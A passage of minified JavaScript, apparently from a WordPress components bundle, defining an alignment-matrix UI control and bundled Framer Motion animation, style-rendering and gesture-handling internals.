);}",Wl,":not([data-active-item]):hover &{color:",zl.theme.accent,";}",Wl,"[data-focus-visible] &{outline:1px solid ",zl.theme.accent,";outline-offset:1px;}@media not ( prefers-reduced-motion ){transition-property:color,transform;transition-duration:120ms;transition-timing-function:linear;}");function Gl({id:e,value:t,...n}){return(0,_t.jsx)(ss,{text:kl[t],children:(0,_t.jsxs)(Gn.Item,{id:e,render:(0,_t.jsx)(Wl,{...n,role:"gridcell"}),children:[(0,_t.jsx)(Sl,{children:t}),(0,_t.jsx)(Ul,{role:"presentation"})]})})}const Kl=function({className:e,disablePointerEvents:t=!0,size:r,width:o,height:i,style:a={},value:l="center",...c}){var u,d;return(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",width:null!==(u=null!=r?r:o)&&void 0!==u?u:24,height:null!==(d=null!=r?r:i)&&void 0!==d?d:24,role:"presentation",className:s("component-alignment-matrix-control-icon",e),style:{pointerEvents:t?"none":void 0,...a},...c,children:jl.map(((e,t)=>{const r=function(e="center"){const t=El(e);if(!t)return;const n=jl.indexOf(t);return n>-1?n:void 0}(l)===t?4:2;return(0,_t.jsx)(n.Rect,{x:1.5+t%3*7+(7-r)/2,y:1.5+7*Math.floor(t/3)+(7-r)/2,width:r,height:r,fill:"currentColor"},e)}))})};const ql=Object.assign((function e({className:t,id:n,label:r=(0,a.__)("Alignment Matrix Control"),defaultValue:o="center center",value:i,onChange:u,width:d=92,...p}){const f=(0,l.useInstanceId)(e,"alignment-matrix-control",n),h=(0,c.useCallback)((e=>{const t=function(e,t){const n=t?.replace(e+"-","");return El(n)}(f,e);t&&u?.(t)}),[f,u]),m=s("component-alignment-matrix-control",t);return(0,_t.jsx)(Gn,{defaultActiveId:Pl(f,o),activeId:Pl(f,i),setActiveId:h,rtl:(0,a.isRTL)(),render:(0,_t.jsx)($l,{...p,"aria-label":r,className:m,id:f,role:"grid",size:d}),children:Cl.map(((e,t)=>(0,_t.jsx)(Gn.Row,{render:(0,_t.jsx)(Hl,{role:"row"}),children:e.map((e=>(0,_t.jsx)(Gl,{id:Pl(f,e),value:e},e)))},t)))})}),{Icon:Object.assign(Kl,{displayName:"AlignmentMatrixControl.Icon"})}),Yl=ql;function Xl(e){return"appear"===e?"top":"left"}function Zl(e){if("loading"===e.type)return"components-animate__loading";const{type:t,origin:n=Xl(t)}=e;if("appear"===t){const[e,t="center"]=n.split(" ");return s("components-animate__appear",{["is-from-"+t]:"center"!==t,["is-from-"+e]:"middle"!==e})}return"slide-in"===t?s("components-animate__slide-in","is-from-"+n):void 0}const Ql=function({type:e,options:t={},children:n}){return n({className:Zl({type:e,...t})})},Jl=(0,B.createContext)({transformPagePoint:e=>e,isStatic:!1,reducedMotion:"never"}),ec=(0,B.createContext)({}),tc=(0,B.createContext)(null),nc="undefined"!=typeof document,rc=nc?B.useLayoutEffect:B.useEffect,oc=(0,B.createContext)({strict:!1}),ic=e=>e.replace(/([a-z])([A-Z])/gu,"$1-$2").toLowerCase(),sc="data-"+ic("framerAppearId"),ac=!1,lc=!1;class cc{constructor(){this.order=[],this.scheduled=new Set}add(e){if(!this.scheduled.has(e))return this.scheduled.add(e),this.order.push(e),!0}remove(e){const t=this.order.indexOf(e);-1!==t&&(this.order.splice(t,1),this.scheduled.delete(e))}clear(){this.order.length=0,this.scheduled.clear()}}const uc=["read","resolveKeyframes","update","preRender","render","postRender"];function dc(e,t){let n=!1,r=!0;const o={delta:0,timestamp:0,isProcessing:!1},i=uc.reduce(((e,t)=>(e[t]=function(e){let t=new cc,n=new cc,r=0,o=!1,i=!1;const s=new WeakSet,a={schedule:(e,i=!1,a=!1)=>{const l=a&&o,c=l?t:n;return i&&s.add(e),c.add(e)&&l&&o&&(r=t.order.length),e},cancel:e=>{n.remove(e),s.delete(e)},process:l=>{if(o)i=!0;else{if(o=!0,[t,n]=[n,t],n.clear(),r=t.order.length,r)for(let n=0;n<r;n++){const r=t.order[n];s.has(r)&&(a.schedule(r),e()),r(l)}o=!1,i&&(i=!1,a.process(l))}}};return a}((()=>n=!0)),e)),{}),s=e=>{i[e].process(o)},a=()=>{const i=lc?o.timestamp:performance.now();n=!1,o.delta=r?1e3/60:Math.max(Math.min(i-o.timestamp,40),1),o.timestamp=i,o.isProcessing=!0,uc.forEach(s),o.isProcessing=!1,n&&t&&(r=!1,e(a))};return{schedule:uc.reduce(((t,s)=>{const l=i[s];return t[s]=(t,i=!1,s=!1)=>(n||(n=!0,r=!0,o.isProcessing||e(a)),l.schedule(t,i,s)),t}),{}),cancel:e=>uc.forEach((t=>i[t].cancel(e))),state:o,steps:i}}const{schedule:pc,cancel:fc}=dc(queueMicrotask,!1);function hc(e){return e&&"object"==typeof e&&Object.prototype.hasOwnProperty.call(e,"current")}function mc(e,t,n){return(0,B.useCallback)((r=>{r&&e.mount&&e.mount(r),t&&(r?t.mount(r):t.unmount()),n&&("function"==typeof n?n(r):hc(n)&&(n.current=r))}),[t])}function gc(e){return"string"==typeof e||Array.isArray(e)}function vc(e){return null!==e&&"object"==typeof e&&"function"==typeof e.start}const bc=["animate","whileInView","whileFocus","whileHover","whileTap","whileDrag","exit"],xc=["initial",...bc];function yc(e){return vc(e.animate)||xc.some((t=>gc(e[t])))}function wc(e){return Boolean(yc(e)||e.variants)}function _c(e){const{initial:t,animate:n}=function(e,t){if(yc(e)){const{initial:t,animate:n}=e;return{initial:!1===t||gc(t)?t:void 0,animate:gc(n)?n:void 0}}return!1!==e.inherit?t:{}}(e,(0,B.useContext)(ec));return(0,B.useMemo)((()=>({initial:t,animate:n})),[Sc(t),Sc(n)])}function Sc(e){return Array.isArray(e)?e.join(" "):e}const Cc={animation:["animate","variants","whileHover","whileTap","exit","whileInView","whileFocus","whileDrag"],exit:["exit"],drag:["drag","dragControls"],focus:["whileFocus"],hover:["whileHover","onHoverStart","onHoverEnd"],tap:["whileTap","onTap","onTapStart","onTapCancel"],pan:["onPan","onPanStart","onPanSessionStart","onPanEnd"],inView:["whileInView","onViewportEnter","onViewportLeave"],layout:["layout","layoutId"]},kc={};for(const e in Cc)kc[e]={isEnabled:t=>Cc[e].some((e=>!!t[e]))};const jc=(0,B.createContext)({}),Ec=(0,B.createContext)({}),Pc=Symbol.for("motionComponentSymbol");function Nc({preloadedFeatures:e,createVisualElement:t,useRender:n,useVisualState:r,Component:o}){e&&function(e){for(const t in e)kc[t]={...kc[t],...e[t]}}(e);const i=(0,B.forwardRef)((function(i,s){let a;const l={...(0,B.useContext)(Jl),...i,layoutId:Tc(i)},{isStatic:c}=l,u=_c(i),d=r(i,c);if(!c&&nc){u.visualElement=function(e,t,n,r){const{visualElement:o}=(0,B.useContext)(ec),i=(0,B.useContext)(oc),s=(0,B.useContext)(tc),a=(0,B.useContext)(Jl).reducedMotion,l=(0,B.useRef)();r=r||i.renderer,!l.current&&r&&(l.current=r(e,{visualState:t,parent:o,props:n,presenceContext:s,blockInitialAnimation:!!s&&!1===s.initial,reducedMotionConfig:a}));const c=l.current;(0,B.useInsertionEffect)((()=>{c&&c.update(n,s)}));const u=(0,B.useRef)(Boolean(n[sc]&&!window.HandoffComplete));return rc((()=>{c&&(pc.render(c.render),u.current&&c.animationState&&c.animationState.animateChanges())})),(0,B.useEffect)((()=>{c&&(c.updateFeatures(),!u.current&&c.animationState&&c.animationState.animateChanges(),u.current&&(u.current=!1,window.HandoffComplete=!0))})),c}(o,d,l,t);const n=(0,B.useContext)(Ec),r=(0,B.useContext)(oc).strict;u.visualElement&&(a=u.visualElement.loadFeatures(l,r,e,n))}return(0,_t.jsxs)(ec.Provider,{value:u,children:[a&&u.visualElement?(0,_t.jsx)(a,{visualElement:u.visualElement,...l}):null,n(o,i,mc(d,u.visualElement,s),d,c,u.visualElement)]})}));return i[Pc]=o,i}function Tc({layoutId:e}){const t=(0,B.useContext)(jc).id;return t&&void 0!==e?t+"-"+e:e}function Ic(e){function t(t,n={}){return Nc(e(t,n))}if("undefined"==typeof Proxy)return t;const n=new Map;return new Proxy(t,{get:(e,r)=>(n.has(r)||n.set(r,t(r)),n.get(r))})}const Rc=["animate","circle","defs","desc","ellipse","g","image","line","filter","marker","mask","metadata","path","pattern","polygon","polyline","rect","stop","switch","symbol","svg","text","tspan","use","view"];function Mc(e){return"string"==typeof e&&!e.includes("-")&&!!(Rc.indexOf(e)>-1||/[A-Z]/u.test(e))}const Ac={};const Dc=["transformPerspective","x","y","z","translateX","translateY","translateZ","scale","scaleX","scaleY","rotate","rotateX","rotateY","rotateZ","skew","skewX","skewY"],zc=new Set(Dc);function Oc(e,{layout:t,layoutId:n}){return zc.has(e)||e.startsWith("origin")||(t||void 0!==n)&&(!!Ac[e]||"opacity"===e)}const Lc=e=>Boolean(e&&e.getVelocity),Fc={x:"translateX",y:"translateY",z:"translateZ",transformPerspective:"perspective"},Bc=Dc.length;const Vc=e=>t=>"string"==typeof t&&t.startsWith(e),$c=Vc("--"),Hc=Vc("var(--"),Wc=e=>!!Hc(e)&&Uc.test(e.split("/*")[0].trim()),Uc=/var\(--(?:[\w-]+\s*|[\w-]+\s*,(?:\s*[^)(\s]|\s*\((?:[^)(]|\([^)(]*\))*\))+\s*)\)$/iu,Gc=(e,t)=>t&&"number"==typeof e?t.transform(e):e,Kc=(e,t,n)=>n>t?t:n<e?e:n,qc={test:e=>"number"==typeof e,parse:parseFloat,transform:e=>e},Yc={...qc,transform:e=>Kc(0,1,e)},Xc={...qc,default:1},Zc=e=>Math.round(1e5*e)/1e5,Qc=/-?(?:\d+(?:\.\d+)?|\.\d+)/gu,Jc=/(?:#[\da-f]{3,8}|(?:rgb|hsl)a?\((?:-?[\d.]+%?[,\s]+){2}-?[\d.]+%?\s*(?:[,/]\s*)?(?:\b\d+(?:\.\d+)?|\.\d+)?%?\))/giu,eu=/^(?:#[\da-f]{3,8}|(?:rgb|hsl)a?\((?:-?[\d.]+%?[,\s]+){2}-?[\d.]+%?\s*(?:[,/]\s*)?(?:\b\d+(?:\.\d+)?|\.\d+)?%?\))$/iu;function tu(e){return"string"==typeof e}const nu=e=>({test:t=>tu(t)&&t.endsWith(e)&&1===t.split(" ").length,parse:parseFloat,transform:t=>`${t}${e}`}),ru=nu("deg"),ou=nu("%"),iu=nu("px"),su=nu("vh"),au=nu("vw"),lu={...ou,parse:e=>ou.parse(e)/100,transform:e=>ou.transform(100*e)},cu={...qc,transform:Math.round},uu={borderWidth:iu,borderTopWidth:iu,borderRightWidth:iu,borderBottomWidth:iu,borderLeftWidth:iu,borderRadius:iu,radius:iu,borderTopLeftRadius:iu,borderTopRightRadius:iu,borderBottomRightRadius:iu,borderBottomLeftRadius:iu,width:iu,maxWidth:iu,height:iu,maxHeight:iu,size:iu,top:iu,right:iu,bottom:iu,left:iu,padding:iu,paddingTop:iu,paddingRight:iu,paddingBottom:iu,paddingLeft:iu,margin:iu,marginTop:iu,marginRight:iu,marginBottom:iu,marginLeft:iu,rotate:ru,rotateX:ru,rotateY:ru,rotateZ:ru,scale:Xc,scaleX:Xc,scaleY:Xc,scaleZ:Xc,skew:ru,skewX:ru,skewY:ru,distance:iu,translateX:iu,translateY:iu,translateZ:iu,x:iu,y:iu,z:iu,perspective:iu,transformPerspective:iu,opacity:Yc,originX:lu,originY:lu,originZ:iu,zIndex:cu,backgroundPositionX:iu,backgroundPositionY:iu,fillOpacity:Yc,strokeOpacity:Yc,numOctaves:cu};function du(e,t,n,r){const{style:o,vars:i,transform:s,transformOrigin:a}=e;let l=!1,c=!1,u=!0;for(const e in t){const n=t[e];if($c(e)){i[e]=n;continue}const r=uu[e],d=Gc(n,r);if(zc.has(e)){if(l=!0,s[e]=d,!u)continue;n!==(r.default||0)&&(u=!1)}else e.startsWith("origin")?(c=!0,a[e]=d):o[e]=d}if(t.transform||(l||r?o.transform=function(e,{enableHardwareAcceleration:t=!0,allowTransformNone:n=!0},r,o){let i="";for(let t=0;t<Bc;t++){const n=Dc[t];void 0!==e[n]&&(i+=`${Fc[n]||n}(${e[n]}) `)}return t&&!e.z&&(i+="translateZ(0)"),i=i.trim(),o?i=o(e,r?"":i):n&&r&&(i="none"),i}(e.transform,n,u,r):o.transform&&(o.transform="none")),c){const{originX:e="50%",originY:t="50%",originZ:n=0}=a;o.transformOrigin=`${e} ${t} ${n}`}}const pu=()=>({style:{},transform:{},transformOrigin:{},vars:{}});function fu(e,t,n){for(const r in t)Lc(t[r])||Oc(r,n)||(e[r]=t[r])}function hu(e,t,n){const r={};return fu(r,e.style||{},e),Object.assign(r,function({transformTemplate:e},t,n){return(0,B.useMemo)((()=>{const r={style:{},transform:{},transformOrigin:{},vars:{}};return du(r,t,{enableHardwareAcceleration:!n},e),Object.assign({},r.vars,r.style)}),[t])}(e,t,n)),r}function mu(e,t,n){const r={},o=hu(e,t,n);return e.drag&&!1!==e.dragListener&&(r.draggable=!1,o.userSelect=o.WebkitUserSelect=o.WebkitTouchCallout="none",o.touchAction=!0===e.drag?"none":"pan-"+("x"===e.drag?"y":"x")),void 0===e.tabIndex&&(e.onTap||e.onTapStart||e.whileTap)&&(r.tabIndex=0),r.style=o,r}const gu=new Set(["animate","exit","variants","initial","style","values","variants","transition","transformTemplate","custom","inherit","onBeforeLayoutMeasure","onAnimationStart","onAnimationComplete","onUpdate","onDragStart","onDrag","onDragEnd","onMeasureDragConstraints","onDirectionLock","onDragTransitionEnd","_dragX","_dragY","onHoverStart","onHoverEnd","onViewportEnter","onViewportLeave","globalTapTarget","ignoreStrict","viewport"]);function vu(e){return e.startsWith("while")||e.startsWith("drag")&&"draggable"!==e||e.startsWith("layout")||e.startsWith("onTap")||e.startsWith("onPan")||e.startsWith("onLayout")||gu.has(e)}let bu=e=>!vu(e);try{(xu=require("@emotion/is-prop-valid").default)&&(bu=e=>e.startsWith("on")?!vu(e):xu(e))}catch(U){}var xu;function yu(e,t,n){return"string"==typeof e?e:iu.transform(t+n*e)}const wu={offset:"stroke-dashoffset",array:"stroke-dasharray"},_u={offset:"strokeDashoffset",array:"strokeDasharray"};function Su(e,{attrX:t,attrY:n,attrScale:r,originX:o,originY:i,pathLength:s,pathSpacing:a=1,pathOffset:l=0,...c},u,d,p){if(du(e,c,u,p),d)return void(e.style.viewBox&&(e.attrs.viewBox=e.style.viewBox));e.attrs=e.style,e.style={};const{attrs:f,style:h,dimensions:m}=e;f.transform&&(m&&(h.transform=f.transform),delete f.transform),m&&(void 0!==o||void 0!==i||h.transform)&&(h.transformOrigin=function(e,t,n){return`${yu(t,e.x,e.width)} ${yu(n,e.y,e.height)}`}(m,void 0!==o?o:.5,void 0!==i?i:.5)),void 0!==t&&(f.x=t),void 0!==n&&(f.y=n),void 0!==r&&(f.scale=r),void 0!==s&&function(e,t,n=1,r=0,o=!0){e.pathLength=1;const i=o?wu:_u;e[i.offset]=iu.transform(-r);const s=iu.transform(t),a=iu.transform(n);e[i.array]=`${s} ${a}`}(f,s,a,l,!1)}const Cu=()=>({style:{},transform:{},transformOrigin:{},vars:{},attrs:{}}),ku=e=>"string"==typeof e&&"svg"===e.toLowerCase();function ju(e,t,n,r){const o=(0,B.useMemo)((()=>{const n={style:{},transform:{},transformOrigin:{},vars:{},attrs:{}};return Su(n,t,{enableHardwareAcceleration:!1},ku(r),e.transformTemplate),{...n.attrs,style:{...n.style}}}),[t]);if(e.style){const t={};fu(t,e.style,e),o.style={...t,...o.style}}return o}function Eu(e=!1){return(t,n,r,{latestValues:o},i)=>{const s=(Mc(t)?ju:mu)(n,o,i,t),a=function(e,t,n){const r={};for(const o in e)"values"===o&&"object"==typeof e.values||(bu(o)||!0===n&&vu(o)||!t&&!vu(o)||e.draggable&&o.startsWith("onDrag"))&&(r[o]=e[o]);return r}(n,"string"==typeof t,e),l=t!==B.Fragment?{...a,...s,ref:r}:{},{children:c}=n,u=(0,B.useMemo)((()=>Lc(c)?c.get():c),[c]);return(0,B.createElement)(t,{...l,children:u})}}function Pu(e,{style:t,vars:n},r,o){Object.assign(e.style,t,o&&o.getProjectionStyles(r));for(const t in n)e.style.setProperty(t,n[t])}const Nu=new Set(["baseFrequency","diffuseConstant","kernelMatrix","kernelUnitLength","keySplines","keyTimes","limitingConeAngle","markerHeight","markerWidth","numOctaves","targetX","targetY","surfaceScale","specularConstant","specularExponent","stdDeviation","tableValues","viewBox","gradientTransform","pathLength","startOffset","textLength","lengthAdjust"]);function Tu(e,t,n,r){Pu(e,t,void 0,r);for(const n in t.attrs)e.setAttribute(Nu.has(n)?n:ic(n),t.attrs[n])}function Iu(e,t,n){var r;const{style:o}=e,i={};for(const s in o)(Lc(o[s])||t.style&&Lc(t.style[s])||Oc(s,e)||void 0!==(null===(r=null==n?void 0:n.getValue(s))||void 0===r?void 0:r.liveStyle))&&(i[s]=o[s]);return i}function Ru(e,t,n){const r=Iu(e,t,n);for(const n in e)if(Lc(e[n])||Lc(t[n])){r[-1!==Dc.indexOf(n)?"attr"+n.charAt(0).toUpperCase()+n.substring(1):n]=e[n]}return r}function Mu(e){const t=[{},{}];return null==e||e.values.forEach(((e,n)=>{t[0][n]=e.get(),t[1][n]=e.getVelocity()})),t}function Au(e,t,n,r){if("function"==typeof t){const[o,i]=Mu(r);t=t(void 0!==n?n:e.custom,o,i)}if("string"==typeof t&&(t=e.variants&&e.variants[t]),"function"==typeof t){const[o,i]=Mu(r);t=t(void 0!==n?n:e.custom,o,i)}return t}function Du(e){const t=(0,B.useRef)(null);return null===t.current&&(t.current=e()),t.current}const zu=e=>Array.isArray(e),Ou=e=>zu(e)?e[e.length-1]||0:e;function Lu(e){const t=Lc(e)?e.get():e;return(e=>Boolean(e&&"object"==typeof e&&e.mix&&e.toValue))(t)?t.toValue():t}const Fu=e=>(t,n)=>{const r=(0,B.useContext)(ec),o=(0,B.useContext)(tc),i=()=>function({scrapeMotionValuesFromProps:e,createRenderState:t,onMount:n},r,o,i){const s={latestValues:Bu(r,o,i,e),renderState:t()};return n&&(s.mount=e=>n(r,e,s)),s}(e,t,r,o);return n?i():Du(i)};function Bu(e,t,n,r){const o={},i=r(e,{});for(const e in i)o[e]=Lu(i[e]);let{initial:s,animate:a}=e;const l=yc(e),c=wc(e);t&&c&&!l&&!1!==e.inherit&&(void 0===s&&(s=t.initial),void 0===a&&(a=t.animate));let u=!!n&&!1===n.initial;u=u||!1===s;const d=u?a:s;if(d&&"boolean"!=typeof d&&!vc(d)){(Array.isArray(d)?d:[d]).forEach((t=>{const n=Au(e,t);if(!n)return;const{transitionEnd:r,transition:i,...s}=n;for(const e in s){let t=s[e];if(Array.isArray(t)){t=t[u?t.length-1:0]}null!==t&&(o[e]=t)}for(const e in r)o[e]=r[e]}))}return o}const Vu=e=>e,{schedule:$u,cancel:Hu,state:Wu,steps:Uu}=dc("undefined"!=typeof requestAnimationFrame?requestAnimationFrame:Vu,!0),Gu={useVisualState:Fu({scrapeMotionValuesFromProps:Ru,createRenderState:Cu,onMount:(e,t,{renderState:n,latestValues:r})=>{$u.read((()=>{try{n.dimensions="function"==typeof t.getBBox?t.getBBox():t.getBoundingClientRect()}catch(e){n.dimensions={x:0,y:0,width:0,height:0}}})),$u.render((()=>{Su(n,r,{enableHardwareAcceleration:!1},ku(t.tagName),e.transformTemplate),Tu(t,n)}))}})},Ku={useVisualState:Fu({scrapeMotionValuesFromProps:Iu,createRenderState:pu})};function qu(e,t,n,r={passive:!0}){return e.addEventListener(t,n,r),()=>e.removeEventListener(t,n)}const Yu=e=>"mouse"===e.pointerType?"number"!=typeof e.button||e.button<=0:!1!==e.isPrimary;function Xu(e,t="page"){return{point:{x:e[`${t}X`],y:e[`${t}Y`]}}}function Zu(e,t,n,r){return qu(e,t,(e=>t=>Yu(t)&&e(t,Xu(t)))(n),r)}const Qu=(e,t)=>n=>t(e(n)),Ju=(...e)=>e.reduce(Qu);function ed(e){let t=null;return()=>{const n=()=>{t=null};return null===t&&(t=e,n)}}const td=ed("dragHorizontal"),nd=ed("dragVertical");function rd(e){let t=!1;if("y"===e)t=nd();else if("x"===e)t=td();else{const e=td(),n=nd();e&&n?t=()=>{e(),n()}:(e&&e(),n&&n())}return t}function od(){const e=rd(!0);return!e||(e(),!1)}class id{constructor(e){this.isMounted=!1,this.node=e}update(){}}function sd(e,t){const n=t?"pointerenter":"pointerleave",r=t?"onHoverStart":"onHoverEnd";return Zu(e.current,n,((n,o)=>{if("touch"===n.pointerType||od())return;const i=e.getProps();e.animationState&&i.whileHover&&e.animationState.setActive("whileHover",t);const s=i[r];s&&$u.postRender((()=>s(n,o)))}),{passive:!e.getProps()[r]})}const ad=(e,t)=>!!t&&(e===t||ad(e,t.parentElement));function ld(e,t){if(!t)return;const n=new PointerEvent("pointer"+e);t(n,Xu(n))}const cd=new WeakMap,ud=new WeakMap,dd=e=>{const t=cd.get(e.target);t&&t(e)},pd=e=>{e.forEach(dd)};function fd(e,t,n){const r=function({root:e,...t}){const n=e||document;ud.has(n)||ud.set(n,{});const r=ud.get(n),o=JSON.stringify(t);return r[o]||(r[o]=new IntersectionObserver(pd,{root:e,...t})),r[o]}(t);return cd.set(e,n),r.observe(e),()=>{cd.delete(e),r.unobserve(e)}}const hd={some:0,all:1};const md={inView:{Feature:class extends id{constructor(){super(...arguments),this.hasEnteredView=!1,this.isInView=!1}startObserver(){this.unmount();const{viewport:e={}}=this.node.getProps(),{root:t,margin:n,amount:r="some",once:o}=e,i={root:t?t.current:void 0,rootMargin:n,threshold:"number"==typeof r?r:hd[r]};return fd(this.node.current,i,(e=>{const{isIntersecting:t}=e;if(this.isInView===t)return;if(this.isInView=t,o&&!t&&this.hasEnteredView)return;t&&(this.hasEnteredView=!0),this.node.animationState&&this.node.animationState.setActive("whileInView",t);const{onViewportEnter:n,onViewportLeave:r}=this.node.getProps(),i=t?n:r;i&&i(e)}))}mount(){this.startObserver()}update(){if("undefined"==typeof IntersectionObserver)return;const{props:e,prevProps:t}=this.node;["amount","margin","root"].some(function({viewport:e={}},{viewport:t={}}={}){return n=>e[n]!==t[n]}(e,t))&&this.startObserver()}unmount(){}}},tap:{Feature:class extends id{constructor(){super(...arguments),this.removeStartListeners=Vu,this.removeEndListeners=Vu,this.removeAccessibleListeners=Vu,this.startPointerPress=(e,t)=>{if(this.isPressing)return;this.removeEndListeners();const n=this.node.getProps(),r=Zu(window,"pointerup",((e,t)=>{if(!this.checkPressEnd())return;const{onTap:n,onTapCancel:r,globalTapTarget:o}=this.node.getProps(),i=o||ad(this.node.current,e.target)?n:r;i&&$u.update((()=>i(e,t)))}),{passive:!(n.onTap||n.onPointerUp)}),o=Zu(window,"pointercancel",((e,t)=>this.cancelPress(e,t)),{passive:!(n.onTapCancel||n.onPointerCancel)});this.removeEndListeners=Ju(r,o),this.startPress(e,t)},this.startAccessiblePress=()=>{const e=qu(this.node.current,"keydown",(e=>{if("Enter"!==e.key||this.isPressing)return;this.removeEndListeners(),this.removeEndListeners=qu(this.node.current,"keyup",(e=>{"Enter"===e.key&&this.checkPressEnd()&&ld("up",((e,t)=>{const{onTap:n}=this.node.getProps();n&&$u.postRender((()=>n(e,t)))}))})),ld("down",((e,t)=>{this.startPress(e,t)}))})),t=qu(this.node.current,"blur",(()=>{this.isPressing&&ld("cancel",((e,t)=>this.cancelPress(e,t)))}));this.removeAccessibleListeners=Ju(e,t)}}startPress(e,t){this.isPressing=!0;const{onTapStart:n,whileTap:r}=this.node.getProps();r&&this.node.animationState&&this.node.animationState.setActive("whileTap",!0),n&&$u.postRender((()=>n(e,t)))}checkPressEnd(){this.removeEndListeners(),this.isPressing=!1;return this.node.getProps().whileTap&&this.node.animationState&&this.node.animationState.setActive("whileTap",!1),!od()}cancelPress(e,t){if(!this.checkPressEnd())return;const{onTapCancel:n}=this.node.getProps();n&&$u.postRender((()=>n(e,t)))}mount(){const e=this.node.getProps(),t=Zu(e.globalTapTarget?window:this.node.current,"pointerdown",this.startPointerPress,{passive:!(e.onTapStart||e.onPointerStart)}),n=qu(this.node.current,"focus",this.startAccessiblePress);this.removeStartListeners=Ju(t,n)}unmount(){this.removeStartListeners(),this.removeEndListeners(),this.removeAccessibleListeners()}}},focus:{Feature:class extends id{constructor(){super(...arguments),this.isActive=!1}onFocus(){let e=!1;try{e=this.node.current.matches(":focus-visible")}catch(t){e=!0}e&&this.node.animationState&&(this.node.animationState.setActive("whileFocus",!0),this.isActive=!0)}onBlur(){this.isActive&&this.node.animationState&&(this.node.animationState.setActive("whileFocus",!1),this.isActive=!1)}mount(){this.unmount=Ju(qu(this.node.current,"focus",(()=>this.onFocus())),qu(this.node.current,"blur",(()=>this.onBlur())))}unmount(){}}},hover:{Feature:class extends id{mount(){this.unmount=Ju(sd(this.node,!0),sd(this.node,!1))}unmount(){}}}};function gd(e,t){if(!Array.isArray(t))return!1;const n=t.length;if(n!==e.length)return!1;for(let r=0;r<n;r++)if(t[r]!==e[r])return!1;return!0}function vd(e,t,n){const r=e.getProps();return Au(r,t,void 0!==n?n:r.custom,e)}const bd=e=>1e3*e,xd=e=>e/1e3,yd={type:"spring",stiffness:500,damping:25,restSpeed:10},wd={type:"keyframes",duration:.8},_d={type:"keyframes",ease:[.25,.1,.35,1],duration:.3},Sd=(e,{keyframes:t})=>t.length>2?wd:zc.has(e)?e.startsWith("scale")?{type:"spring",stiffness:550,damping:0===t[1]?2*Math.sqrt(550):30,restSpeed:10}:yd:_d;function Cd(e,t){return e[t]||e.default||e}const kd=!1,jd=e=>null!==e;function Ed(e,{repeat:t,repeatType:n="loop"},r){const o=e.filter(jd),i=t&&"loop"!==n&&t%2==1?0:o.length-1;return i&&void 0!==r?r:o[i]}let Pd;function Nd(){Pd=void 0}const Td={now:()=>(void 0===Pd&&Td.set(Wu.isProcessing||lc?Wu.timestamp:performance.now()),Pd),set:e=>{Pd=e,queueMicrotask(Nd)}},Id=e=>/^0[^.\s]+$/u.test(e);let Rd=Vu,Md=Vu;const Ad=e=>/^-?(?:\d+(?:\.\d+)?|\.\d+)$/u.test(e),Dd=/^var\(--(?:([\w-]+)|([\w-]+), ?([a-zA-Z\d ()%#.,-]+))\)/u;function zd(e,t,n=1){Md(n<=4,`Max CSS variable fallback depth detected in property "${e}". This may indicate a circular fallback dependency.`);const[r,o]=function(e){const t=Dd.exec(e);if(!t)return[,];const[,n,r,o]=t;return[`--${null!=n?n:r}`,o]}(e);if(!r)return;const i=window.getComputedStyle(t).getPropertyValue(r);if(i){const e=i.trim();return Ad(e)?parseFloat(e):e}return Wc(o)?zd(o,t,n+1):o}const Od=new Set(["width","height","top","left","right","bottom","x","y","translateX","translateY"]),Ld=e=>e===qc||e===iu,Fd=(e,t)=>parseFloat(e.split(", ")[t]),Bd=(e,t)=>(n,{transform:r})=>{if("none"===r||!r)return 0;const o=r.match(/^matrix3d\((.+)\)$/u);if(o)return Fd(o[1],t);{const t=r.match(/^matrix\((.+)\)$/u);return t?Fd(t[1],e):0}},Vd=new Set(["x","y","z"]),$d=Dc.filter((e=>!Vd.has(e)));const Hd={width:({x:e},{paddingLeft:t="0",paddingRight:n="0"})=>e.max-e.min-parseFloat(t)-parseFloat(n),height:({y:e},{paddingTop:t="0",paddingBottom:n="0"})=>e.max-e.min-parseFloat(t)-parseFloat(n),top:(e,{top:t})=>parseFloat(t),left:(e,{left:t})=>parseFloat(t),bottom:({y:e},{top:t})=>parseFloat(t)+(e.max-e.min),right:({x:e},{left:t})=>parseFloat(t)+(e.max-e.min),x:Bd(4,13),y:Bd(5,14)};Hd.translateX=Hd.x,Hd.translateY=Hd.y;const Wd=e=>t=>t.test(e),Ud=[qc,iu,ou,ru,au,su,{test:e=>"auto"===e,parse:e=>e}],Gd=e=>Ud.find(Wd(e)),Kd=new Set;let qd=!1,Yd=!1;function Xd(){if(Yd){const e=Array.from(Kd).filter((e=>e.needsMeasurement)),t=new Set(e.map((e=>e.element))),n=new Map;t.forEach((e=>{const t=function(e){const t=[];return $d.forEach((n=>{const r=e.getValue(n);void 0!==r&&(t.push([n,r.get()]),r.set(n.startsWith("scale")?1:0))})),t}(e);t.length&&(n.set(e,t),e.render())})),e.forEach((e=>e.measureInitialState())),t.forEach((e=>{e.render();const t=n.get(e);t&&t.forEach((([t,n])=>{var r;null===(r=e.getValue(t))||void 0===r||r.set(n)}))})),e.forEach((e=>e.measureEndState())),e.forEach((e=>{void 0!==e.suspendedScrollY&&window.scrollTo(0,e.suspendedScrollY)}))}Yd=!1,qd=!1,Kd.forEach((e=>e.complete())),Kd.clear()}function Zd(){Kd.forEach((e=>{e.readKeyframes(),e.needsMeasurement&&(Yd=!0)}))}class Qd{constructor(e,t,n,r,o,i=!1){this.isComplete=!1,this.isAsync=!1,this.needsMeasurement=!1,this.isScheduled=!1,this.unresolvedKeyframes=[...e],this.onComplete=t,this.name=n,this.motionValue=r,this.element=o,this.isAsync=i}scheduleResolve(){this.isScheduled=!0,this.isAsync?(Kd.add(this),qd||(qd=!0,$u.read(Zd),$u.resolveKeyframes(Xd))):(this.readKeyframes(),this.complete())}readKeyframes(){const{unresolvedKeyframes:e,name:t,element:n,motionValue:r}=this;for(let o=0;o<e.length;o++)if(null===e[o])if(0===o){const o=null==r?void 0:r.get(),i=e[e.length-1];if(void 0!==o)e[0]=o;else if(n&&t){const r=n.readValue(t,i);null!=r&&(e[0]=r)}void 0===e[0]&&(e[0]=i),r&&void 0===o&&r.set(e[0])}else e[o]=e[o-1]}setFinalKeyframe(){}measureInitialState(){}renderEndStyles(){}measureEndState(){}complete(){this.isComplete=!0,this.onComplete(this.unresolvedKeyframes,this.finalKeyframe),Kd.delete(this)}cancel(){this.isComplete||(this.isScheduled=!1,Kd.delete(this))}resume(){this.isComplete||this.scheduleResolve()}}const 